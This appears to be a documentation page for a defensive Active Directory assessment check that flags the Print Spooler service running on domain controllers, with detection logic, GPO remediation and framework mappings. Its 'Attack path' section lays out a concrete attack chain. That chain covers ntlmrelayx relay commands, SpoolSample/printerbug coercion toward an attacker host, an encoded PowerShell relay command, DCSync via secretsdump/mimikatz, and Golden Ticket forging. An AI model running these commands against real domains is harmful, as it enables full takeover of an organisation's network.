ADNET-009: Print Spooler Service on Domain Controllers
- Platform
- Active Directory
- Category
- AD Network & Relay Preconditions
- Severity
- Critical
- Zero Trust pillar
- Networks (weight 3)
- Golden fixtures
- 3
- Branch coverage
- Observed: fixtures prove the verdicts they exercise
- Provenance
- baseline
What it checks
The check enumerates every domain controller via the LDAP filter (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192)) which matches the SERVER_TRUST_ACCOUNT flag set on DC machine accounts. For each DC it performs three independent reads. First, runtime service state: WMI query SELECT Name,State,StartMode,PathName FROM Win32_Service WHERE Name="Spooler" via Get-CimInstance over WinRM, capturing State (Running vs Stopped), StartMode (Auto, Manual, Disabled), and the binary path to detect tampering. Second, registry start type: the REG_DWORD at HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start where 2 = Automatic, 3 = Manual, 4 = Disabled. A value of 4 is the only acceptable state. Third, policy enforcement: the check parses the Default Domain Controllers Policy GPO (or any GPO linked to the Domain Controllers OU with a System Services configuration) for the Spooler entry under Computer Configuration > Policies > Windows Settings > Security Settings > System Services and confirms that Startup Mode is set to Disabled with the policy ConfigureFlag = 1 (defined). If runtime state is Stopped/Disabled but no GPO enforces it, the check downgrades to High because a future admin or a Windows Update can re-enable the service. The check also probes RPC reachability with a non-destructive bind to the spoolss named pipe (\\dc01\pipe\spoolss) using Test-NetConnection and an unauthenticated RPC enumeration with rpcdump.py to confirm whether MS-RPRN [12345678-1234-abcd-ef00-0123456789ab] is exposed end to end.
Why it matters
Print Spooler on a DC is the single most reliable unauthenticated-to-Domain-Admin path that has remained exploitable across every Windows Server version from 2008 through 2025. The MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx call accepts a UNC path as the notification target and the spooler dutifully authenticates outbound as the host machine account. Because the DC machine account is a member of the Domain Controllers group and holds replication rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), a successful NTLM relay of that authentication into LDAP allows the attacker to grant a controlled account the same rights, then run DCSync (Mimikatz lsadump::dcsync) to extract the krbtgt hash and forge Golden Tickets. The relay can also land at the ADCS Web Enrollment HTTP endpoint, which historically did not require Extended Protection for Authentication, allowing the attacker to request a certificate as the DC machine account (Schannel auth) and then use that certificate via PKINIT to obtain a TGT for the DC, yielding the same outcome. The PrintNightmare RCE variants (CVE-2021-1675 elevation, CVE-2021-34527 RCE) extend the same RPC surface to allow any authenticated user to load an arbitrary DLL into spoolsv.exe running as SYSTEM on the DC. Microsoft has issued partial patches repeatedly (KB5005010, KB5005033, the Point and Print hardening of August 2021, and CVE-2022-21999 SpoolFool) and the surface keeps regressing because Spooler ships enabled by default on Windows Server installs including Domain Controllers. The only durable mitigation is to remove the service from the DC entirely. Operational impact is zero: domain controllers do not host printers and the only legitimate consumers of MS-RPRN on a DC are misconfigurations.
Attack path
Step 1: Foothold. Attacker holds any authenticated domain user credential (low-privileged user, machine account joined to the domain, or even a coerced anonymous bind in some legacy configs). No special groups are required. Step 2: Identify exposed Spooler. The attacker runs SpoolSample.exe (Lee Christensen) or the equivalent rpcdump.py contoso.local | grep -i MS-RPRN to confirm the printer-notify endpoint is reachable on each DC. BloodHound 5+ surfaces this directly via the CoerceToTGT and CanRDP edges where the Spooler check has been added to collection. Step 3: Stand up the relay. On the attacker host, run impacket-ntlmrelayx -t ldaps://dc01.contoso.local --escalate-user pwn --no-smb-server to relay into LDAPS and grant DCSync rights to a controlled account, or -t http://adcs01.contoso.local/certsrv/certfnsh.asp --adcs --template DomainController to request a DC certificate via ADCS Web Enrollment (ESC8). If targeting SMB without signing, -t smb://fs01.contoso.local -c "powershell -enc <base64>". Step 4: Trigger the coercion. The attacker invokes the MS-RPRN coercion: SpoolSample.exe dc01.contoso.local attacker.contoso.local, or the Python equivalent printerbug.py contoso.local/lowuser:Password@dc01 attacker. The DC immediately initiates an SMB authentication to attacker (the relay host) as DC01$. The relay catches the NetNTLMv2 challenge-response and replays it to the configured sink. If LDAP signing is disabled (default in many environments through 2022), the relayed bind succeeds with the DC machine accounts privileges. Step 5: Elevate. With the relayed LDAP session, ntlmrelayx modifies the domain root NTSecurityDescriptor to grant the attacker-controlled user (pwn) the DS-Replication-Get-Changes-All extended right. The attacker then runs secretsdump.py -just-dc contoso.local/pwn@dc01 or mimikatz lsadump::dcsync /user:krbtgt to extract the krbtgt hash, complete domain compromise. Step 6: Persistence. With krbtgt the attacker forges a Golden Ticket valid for any user, any group, indefinitely (mimikatz kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt). The Spooler coercion path remains open even after the krbtgt is rotated unless Spooler is actually disabled, so the attacker re-uses it for re-entry after incident response. Alternative path (PrintNightmare RCE): instead of coercing outbound auth, the attacker uses the same RPC interface to call RpcAddPrinterDriverEx with a malicious driver DLL hosted on an SMB share. spoolsv.exe loads the DLL as SYSTEM on the DC, granting immediate SYSTEM on a Tier 0 host. This is CVE-2021-34527 and remained partially exploitable through multiple patch cycles.
How Guerrilla assesses it
Guerrilla enumerates DCs with the SERVER_TRUST_ACCOUNT bit filter and for each DC executes three independent checks. (1) Get-CimInstance -ComputerName $dc -ClassName Win32_Service -Filter "Name=\"Spooler\"" returns Name, State, StartMode, ProcessId, PathName. A finding is raised if State=Running, StartMode=Auto, or StartMode=Manual; only StartMode=Disabled and State=Stopped clears the check. (2) Invoke-Command -ComputerName $dc -ScriptBlock { Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Spooler -Name Start } returns the registry start type as a REG_DWORD; only 4 (Disabled) clears the check. (3) The Default Domain Controllers Policy GPO (and any other GPO linked to the Domain Controllers OU at OU=Domain Controllers,DC=contoso,DC=local) is parsed via Get-GPO + Get-GPRegistryValue and the underlying GptTmpl.inf at \\contoso.local\SYSVOL\contoso.local\Policies\{GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf is inspected for the [Service General Setting] section containing "Spooler",4,"". The absence of this entry, even if runtime state is correct, downgrades the result to High because there is no policy guarantee against drift. Guerrilla also issues an RPC interface enumeration via Test-RpcInterface (wraps rpcdump) against the spoolss named pipe to confirm the network exposure matches the service state, surfacing host-firewall misconfigurations where Spooler is stopped but a stale pipe remains. The check pairs with paired runtime alerting on Event ID 808 (Print Service Operational Log: print server error) and Event ID 316 (driver loaded) on DCs, both of which should be zero on a hardened DC.
Recommended value
Print Spooler service is Disabled (start type 4) in the Default Domain Controllers Policy
Remediation
Edit the Default Domain Controllers Policy: Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Print Spooler > 'Define this policy setting' = Disabled. This propagates to every DC at the next gpupdate. Verify on each DC: Get-Service Spooler should show Status=Stopped, StartType=Disabled. If a DC also runs print services (it shouldn't), find another host for that role first.
Fixture-proven verdicts
Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.
| Scenario | Expected verdict |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Framework mappings
- NIST SP 800-53
- CM-7
- CIS AD Benchmark
- 6.4.1
- MITRE ATT&CK
- T1210, T1557.001